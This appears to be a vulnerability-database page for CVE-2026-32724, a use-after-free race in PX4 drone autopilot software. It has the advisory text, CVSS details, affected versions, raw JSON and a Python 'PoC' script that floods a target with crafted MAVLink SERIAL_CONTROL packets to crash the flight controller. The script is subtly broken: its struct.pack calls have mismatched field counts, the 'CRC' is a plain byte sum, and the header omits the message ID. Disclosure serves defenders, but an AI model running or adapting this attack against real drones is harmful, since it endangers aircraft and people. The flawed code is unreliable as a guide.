Security Vulnerability Report
中文
CVE-2026-32724 CVSS 5.3 MEDIUM

CVE-2026-32724

Published: 2026-03-16 14:19:43
Last Modified: 2026-03-16 18:33:50

Description

PX4 autopilot is a flight control solution for drones. Prior to 1.17.0-rc1, a heap-use-after-free is detected in the MavlinkShell::available() function. The issue is caused by a race condition between the MAVLink receiver thread (which handles shell creation/destruction) and the telemetry sender thread (which polls the shell for available output). The issue is remotely triggerable via MAVLink SERIAL_CONTROL messages (ID 126), which can be sent by an external ground station or automated script. This vulnerability is fixed in 1.17.0-rc1.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:dronecode:px4_drone_autopilot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:alpha1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:beta1:*:*:*:*:*:* - VULNERABLE
PX4 PX4-Autopilot < 1.17.0-rc1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-32724 PoC - PX4 Autopilot MavlinkShell Heap-Use-After-Free This PoC demonstrates sending a MAVLink SERIAL_CONTROL message to trigger the race condition in MavlinkShell::available() function. Note: This is for educational and testing purposes only. """ import socket import struct import time def calculate_crc(message, length): """Calculate MAVLink CRC for the message""" crc = 0 for i in range(length): crc += message[i] return crc & 0xFF def create_mavlink_serial_control_message(): """ Create a MAVLink SERIAL_CONTROL message (ID 126) to trigger the vulnerability. This message type allows controlling serial ports on the flight controller. """ # MAVLink packet structure STX = 0xFD # MAVLink 2.0 start byte # SERIAL_CONTROL message fields msg_id = 126 # SERIAL_CONTROL message ID # Build the payload # uint8_t flags - control flags # uint16_t timeout - timeout in milliseconds # uint32_t baudrate - baudrate # uint8_t len - data length # uint8_t data[70] - data bytes payload = struct.pack('<BHHIB', 0x00, # flags 1000, # timeout (ms) 57600, # baudrate 0, # data length ) # Pad data to 70 bytes payload += b'\x00' * 70 # MAVLink 2.0 header header = struct.pack('<BBBBBB', STX, 0, # payload length 0, # incompatibility flags 0, # compatibility flags 0x01, # sequence number 0x01, # system ID 0x01, # component ID ) # Calculate CRC (simplified) message = header + payload # CRC calculation would include message type and payload return message def send_exploit(target_ip, target_port=14550): """ Send the exploit payload to the target PX4 Autopilot system. """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print(f"[*] Target: {target_ip}:{target_port}") print("[*] Crafting SERIAL_CONTROL message (ID 126)...") payload = create_mavlink_serial_control_message() print(f"[*] Sending payload ({len(payload)} bytes)...") sock.sendto(payload, (target_ip, target_port)) # Send multiple messages to increase race condition probability for i in range(100): sock.sendto(payload, (target_ip, target_port)) time.sleep(0.001) # Small delay to increase timing sensitivity print("[*] Exploit sent. Monitor target for crash.") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2026-32724-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 14550 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32724", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:43.203", "lastModified": "2026-03-16T18:33:49.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PX4 autopilot is a flight control solution for drones. Prior to 1.17.0-rc1, a heap-use-after-free is detected in the MavlinkShell::available() function. The issue is caused by a race condition between the MAVLink receiver thread (which handles shell creation/destruction) and the telemetry sender thread (which polls the shell for available output). The issue is remotely triggerable via MAVLink SERIAL_CONTROL messages (ID 126), which can be sent by an external ground station or automated script. This vulnerability is fixed in 1.17.0-rc1."}, {"lang": "es", "value": "El piloto automático PX4 es una solución de control de vuelo para drones. Previo a la versión 1.17.0-rc1, se detecta un uso después de liberación en el heap en la función MavlinkShell::available(). El problema es causado por una condición de carrera entre el hilo receptor de MAVLink (que gestiona la creación/destrucción del shell) y el hilo emisor de telemetría (que consulta el shell en busca de salida disponible). El problema puede ser activado remotamente a través de mensajes MAVLink SERIAL_CONTROL (ID 126), los cuales pueden ser enviados por una estación terrestre externa o un script automatizado. Esta vulnerabilidad está corregida en la versión 1.17.0-rc1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.17.0", "matchCriteriaId": "2FC2D6F1-D77D-44C2-A99C-55CB5A4474B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "033A0A82-2986-44D5-A712-47B8D43407FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dronecode:px4_drone_autopilot:1.17.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "3F2EA96E-BC3A-42AB-B81B-53D5872B2296"}]}]}], "references": [{"url": "https://github.com/PX4/PX4-Autopilot/security/advisories/GHSA-j5w2-w79c-mqrw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}